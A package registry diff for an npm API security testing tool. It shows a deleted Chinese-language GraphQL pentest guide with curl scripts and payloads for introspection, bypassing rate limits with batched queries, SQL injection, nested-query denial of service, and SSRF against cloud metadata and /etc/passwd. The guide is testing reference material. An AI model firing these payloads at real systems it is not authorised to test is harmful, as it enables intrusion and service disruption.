opencode-api-security-testing 3.0.9 → 3.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (78) hide show
  1. package/agents/api-cyber-supervisor.md +22 -19
  2. package/agents/api-probing-miner.md +34 -10
  3. package/agents/api-resource-specialist.md +49 -20
  4. package/agents/api-vuln-verifier.md +69 -18
  5. package/package.json +1 -1
  6. package/postinstall.mjs +1 -0
  7. package/preuninstall.mjs +43 -32
  8. package/src/index.ts +6 -3
  9. package/README.md +0 -74
  10. package/SKILL.md +0 -1797
  11. package/core/advanced_recon.py +0 -788
  12. package/core/agentic_analyzer.py +0 -445
  13. package/core/analyzers/api_parser.py +0 -210
  14. package/core/analyzers/response_analyzer.py +0 -212
  15. package/core/analyzers/sensitive_finder.py +0 -184
  16. package/core/api_fuzzer.py +0 -422
  17. package/core/api_interceptor.py +0 -525
  18. package/core/api_parser.py +0 -955
  19. package/core/browser_tester.py +0 -479
  20. package/core/cloud_storage_tester.py +0 -1330
  21. package/core/collectors/__init__.py +0 -23
  22. package/core/collectors/api_path_finder.py +0 -300
  23. package/core/collectors/browser_collect.py +0 -645
  24. package/core/collectors/browser_collector.py +0 -411
  25. package/core/collectors/http_client.py +0 -111
  26. package/core/collectors/js_collector.py +0 -490
  27. package/core/collectors/js_parser.py +0 -780
  28. package/core/collectors/url_collector.py +0 -319
  29. package/core/context_manager.py +0 -682
  30. package/core/deep_api_tester_v35.py +0 -844
  31. package/core/deep_api_tester_v55.py +0 -366
  32. package/core/dynamic_api_analyzer.py +0 -532
  33. package/core/http_client.py +0 -179
  34. package/core/models.py +0 -296
  35. package/core/orchestrator.py +0 -890
  36. package/core/prerequisite.py +0 -227
  37. package/core/reasoning_engine.py +0 -1042
  38. package/core/response_classifier.py +0 -606
  39. package/core/runner.py +0 -938
  40. package/core/scan_engine.py +0 -599
  41. package/core/skill_executor.py +0 -435
  42. package/core/skill_executor_v2.py +0 -670
  43. package/core/skill_executor_v3.py +0 -704
  44. package/core/smart_analyzer.py +0 -687
  45. package/core/strategy_pool.py +0 -707
  46. package/core/testers/auth_tester.py +0 -264
  47. package/core/testers/idor_tester.py +0 -200
  48. package/core/testers/sqli_tester.py +0 -211
  49. package/core/testing_loop.py +0 -655
  50. package/core/utils/base_path_dict.py +0 -255
  51. package/core/utils/payload_lib.py +0 -167
  52. package/core/utils/ssrf_detector.py +0 -220
  53. package/core/verifiers/vuln_verifier.py +0 -536
  54. package/references/README.md +0 -72
  55. package/references/asset-discovery.md +0 -119
  56. package/references/fuzzing-patterns.md +0 -129
  57. package/references/graphql-guidance.md +0 -108
  58. package/references/intake.md +0 -84
  59. package/references/pua-agent.md +0 -192
  60. package/references/report-template.md +0 -156
  61. package/references/rest-guidance.md +0 -76
  62. package/references/severity-model.md +0 -76
  63. package/references/test-matrix.md +0 -86
  64. package/references/validation.md +0 -78
  65. package/references/vulnerabilities/01-sqli-tests.md +0 -1128
  66. package/references/vulnerabilities/02-user-enum-tests.md +0 -423
  67. package/references/vulnerabilities/03-jwt-tests.md +0 -499
  68. package/references/vulnerabilities/04-idor-tests.md +0 -362
  69. package/references/vulnerabilities/05-sensitive-data-tests.md +0 -466
  70. package/references/vulnerabilities/06-biz-logic-tests.md +0 -501
  71. package/references/vulnerabilities/07-security-config-tests.md +0 -511
  72. package/references/vulnerabilities/08-brute-force-tests.md +0 -457
  73. package/references/vulnerabilities/09-vulnerability-chains.md +0 -465
  74. package/references/vulnerabilities/10-auth-tests.md +0 -537
  75. package/references/vulnerabilities/11-graphql-tests.md +0 -355
  76. package/references/vulnerabilities/12-ssrf-tests.md +0 -396
  77. package/references/vulnerabilities/README.md +0 -148
  78. package/references/workflows.md +0 -192
@@ -1,355 +0,0 @@
1
- # GraphQL安全测试
2
-
3
- ## 1. 概述
4
-
5
- GraphQL是一种API查询语言,存在特有的安全问题如内省滥用、批量查询绕过、SchemA泄露等。
6
-
7
- **危险等级**: 中
8
-
9
- ## 2. 测试点识别
10
-
11
- ### 2.1 GraphQL端点
12
-
13
- | 端点 | 说明 |
14
- |------|------|
15
- | `/graphql` | GraphQL主端点 |
16
- | `/api/graphql` | 带前缀的GraphQL |
17
- | `/query` | 替代端点 |
18
-
19
- ### 2.2 GraphQL识别
20
-
21
- ```bash
22
- # 通过HTTP方法识别
23
- POST /graphql
24
- Content-Type: application/json
25
- {"query": "{ __schema { types { name } } }"}
26
-
27
- # 通过响应特征识别
28
- {
29
- "data": {
30
- "__schema": {...}
31
- }
32
- }
33
- ```
34
-
35
- ## 3. 内省查询
36
-
37
- ### 3.1 获取完整Schema
38
-
39
- ```graphql
40
- # 内省查询
41
- query IntrospectionQuery {
42
- __schema {
43
- queryType { name }
44
- mutationType { name }
45
- subscriptionType { name }
46
- types {
47
- name
48
- kind
49
- fields(includeDeprecated: true) {
50
- name
51
- args { name, type { name, kind } }
52
- type { name, kind }
53
- isDeprecated
54
- deprecationReason
55
- }
56
- }
57
- }
58
- }
59
- ```
60
-
61
- ### 3.2 curl测试内省
62
-
63
- ```bash
64
- #!/bin/bash
65
- # GraphQL内省测试
66
-
67
- TARGET="http://api/graphql"
68
-
69
- echo "=== GraphQL内省查询测试 ==="
70
-
71
- # 1. 检查内省是否启用
72
- RESP=$(curl -s -X POST "$TARGET" \
73
- -H "Content-Type: application/json" \
74
- -d '{"query":"{ __schema { queryType { name } } }"}')
75
-
76
- if echo "$RESP" | grep -q "IntrospectionQuery"; then
77
- echo "[漏洞] 内省查询已启用,可获取完整Schema"
78
- echo "Schema片段: ${RESP:0:200}"
79
- else
80
- echo "[安全] 内省查询被禁用"
81
- fi
82
-
83
- # 2. 获取所有类型
84
- curl -s -X POST "$TARGET" \
85
- -H "Content-Type: application/json" \
86
- -d '{"query":"{ __schema { types { name fields { name } } } }"}' > graphql_types.json
87
-
88
- # 3. 获取查询字段
89
- curl -s -X POST "$TARGET" \
90
- -H "Content-Type: application/json" \
91
- -d '{"query":"{ __type(name: \"Query\") { fields { name type { name } } } }"}' > graphql_queries.json
92
- ```
93
-
94
- ## 4. 批量查询绕过速率限制
95
-
96
- ### 4.1 批量查询
97
-
98
- ```graphql
99
- # 单次查询
100
- query { user(id: 1) { name } }
101
-
102
- # 批量查询 - 绕过速率限制
103
- query {
104
- user1: user(id: 1) { name }
105
- user2: user(id: 2) { name }
106
- user3: user(id: 3) { name }
107
- user4: user(id: 4) { name }
108
- user5: user(id: 5) { name }
109
- }
110
- ```
111
-
112
- ### 4.2 curl批量测试
113
-
114
- ```bash
115
- #!/bin/bash
116
- # GraphQL批量查询绕过测试
117
-
118
- TARGET="http://api/graphql"
119
-
120
- echo "=== GraphQL批量查询测试 ==="
121
-
122
- # 构造批量查询
123
- BATCH_QUERY='{"query":"query { user1: user(id: 1) { name email } user2: user(id: 2) { name email } user3: user(id: 3) { name email } user4: user(id: 4) { name email } user5: user(id: 5) { name email } }"}'
124
-
125
- RESP=$(curl -s -X POST "$TARGET" \
126
- -H "Content-Type: application/json" \
127
- -d "$BATCH_QUERY")
128
-
129
- if echo "$RESP" | grep -q "user1\|user2\|user3"; then
130
- echo "[漏洞] 批量查询成功,可绕过速率限制"
131
- echo "响应: $RESP"
132
- else
133
- echo "[需验证] 批量查询结果不确定"
134
- fi
135
- ```
136
-
137
- ## 5. 绕过Mutation限制
138
-
139
- ### 5.1 字段级权限绕过
140
-
141
- ```graphql
142
- # 尝试查询隐藏字段
143
- query {
144
- __type(name: "User") {
145
- fields {
146
- name
147
- type { name }
148
- args { name }
149
- }
150
- }
151
- }
152
-
153
- # 尝试访问管理员字段
154
- query {
155
- users {
156
- id
157
- name
158
- isAdmin # 隐藏字段
159
- secretKey # 隐藏字段
160
- }
161
- }
162
- ```
163
-
164
- ### 5.2 操作类型混淆
165
-
166
- ```graphql
167
- # 尝试将Mutation作为Query执行
168
- query {
169
- deleteUser(id: 1) {
170
- success
171
- }
172
- }
173
- ```
174
-
175
- ## 6. GraphQL SQL注入
176
-
177
- ### 6.1 查询中的注入
178
-
179
- ```graphql
180
- # 在查询参数中注入
181
- query {
182
- user(id: "1' OR '1'='1") {
183
- id
184
- name
185
- }
186
- }
187
-
188
- # 在过滤条件中注入
189
- query {
190
- users(filter: "{'name': {'_like': \"%admin%\"}}") {
191
- id
192
- name
193
- }
194
- }
195
- ```
196
-
197
- ### 6.2 Mutation中的注入
198
-
199
- ```graphql
200
- mutation {
201
- createUser(input: {
202
- name: "admin'--"
203
- email: "test@test.com"
204
- }) {
205
- id
206
- name
207
- }
208
- }
209
- ```
210
-
211
- ## 7. 拒绝服务(DoS)
212
-
213
- ### 7.1 深度嵌套查询
214
-
215
- ```graphql
216
- # 深度嵌套
217
- query {
218
- user(id: 1) {
219
- friends {
220
- friends {
221
- friends {
222
- friends {
223
- id
224
- }
225
- }
226
- }
227
- }
228
- }
229
- }
230
- ```
231
-
232
- ### 7.2 重复字段查询
233
-
234
- ```graphql
235
- # 查询大量重复字段
236
- query {
237
- users {
238
- id id id id id id id id id id
239
- name name name name name name name name name name
240
- }
241
- }
242
- ```
243
-
244
- ### 7.3 资源密集型查询
245
-
246
- ```graphql
247
- # 全表扫描
248
- query {
249
- users(orderBy: {field: "name", order: DESC}, limit: 1000000) {
250
- id
251
- name
252
- }
253
- }
254
- ```
255
-
256
- ## 8. SSRF through GraphQL
257
-
258
- ### 8.1 在URL字段中注入
259
-
260
- ```graphql
261
- mutation {
262
- createWebhook(input: {
263
- url: "http://169.254.169.254/latest/meta-data/"
264
- name: "test"
265
- }) {
266
- id
267
- url
268
- }
269
- }
270
- ```
271
-
272
- ### 8.2 在文件上传中注入
273
-
274
- ```graphql
275
- mutation {
276
- uploadFile(input: {
277
- url: "file:///etc/passwd"
278
- name: "test"
279
- }) {
280
- id
281
- }
282
- }
283
- ```
284
-
285
- ## 9. GraphQL误报判断标准
286
-
287
- ### 9.1 核心判断原则
288
-
289
- ```
290
- 【重要】GraphQL测试需要理解其查询机制
291
-
292
- 判断逻辑:
293
- 1. 内省启用 → 不是漏洞,是开发特性
294
- 2. 批量查询 → 可能绕过速率限制
295
- 3. 嵌套查询 → 可能导致DoS
296
-
297
- 【真实漏洞特征】
298
- - 批量查询绕过速率限制
299
- - 深度嵌套导致DoS
300
- - 权限字段被暴露
301
- - SQL/NoSQL注入
302
- ```
303
-
304
- ### 9.2 curl测试模板
305
-
306
- ```bash
307
- #!/bin/bash
308
- # GraphQL安全测试模板
309
-
310
- TARGET="http://api/graphql"
311
-
312
- echo "=== GraphQL安全测试 ==="
313
-
314
- # 1. 内省测试
315
- echo "[1] 内省测试"
316
- curl -s -X POST "$TARGET" \
317
- -H "Content-Type: application/json" \
318
- -d '{"query":"{ __schema { queryType { name } } }"}'
319
-
320
- # 2. 获取所有类型
321
- echo ""
322
- echo "[2] 获取所有类型"
323
- curl -s -X POST "$TARGET" \
324
- -H "Content-Type: application/json" \
325
- -d '{"query":"{ __schema { types { name kind } } }"}'
326
-
327
- # 3. 批量查询测试
328
- echo ""
329
- echo "[3] 批量查询测试"
330
- curl -s -X POST "$TARGET" \
331
- -H "Content-Type: application/json" \
332
- -d '{"query":"query { u1: user(id:1){name} u2: user(id:2){name} u3: user(id:3){name} }"}'
333
-
334
- # 4. 嵌套查询测试
335
- echo ""
336
- echo "[4] 嵌套查询测试"
337
- curl -s -X POST "$TARGET" \
338
- -H "Content-Type: application/json" \
339
- -d '{"query":"query { user(id:1) { friends { friends { friends { id } } } } }"}'
340
- ```
341
-
342
- ## 10. 测试检查清单
343
-
344
- ```
345
- □ 识别GraphQL端点
346
- □ 测试内省查询
347
- □ 获取完整Schema
348
- □ 测试批量查询绕过
349
- □ 测试嵌套查询DoS
350
- □ 测试字段级权限绕过
351
- □ 测试SQL/NoSQL注入
352
- □ 测试SSRF
353
- □ 测试速率限制
354
- □ 评估GraphQL安全配置
355
- ```